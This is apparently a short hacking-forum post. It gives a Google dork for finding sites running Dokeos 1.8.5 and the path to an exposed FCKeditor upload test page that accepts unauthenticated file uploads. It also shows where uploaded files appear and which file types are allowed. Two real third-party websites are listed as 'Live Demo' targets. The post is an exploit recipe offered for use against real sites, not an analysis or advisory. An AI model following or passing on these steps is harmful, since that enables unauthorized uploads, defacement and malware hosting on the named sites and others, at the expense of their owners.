Dork for google:
"Portail Dokeos 1.8.5"

Exploit:
http://[localhost]/patch/main/inc/lib/fckeditor/editor/filemanager/upload/test.html

Preview:
http://[localhost]/patch/main/upload/[yourfiles]

Allowed File:
html, txt, phps, etc


Live Demo:
http://www.blowupwebshow.com
http://www.denisflorean.fr/

Nice share dari kk clown @HN Community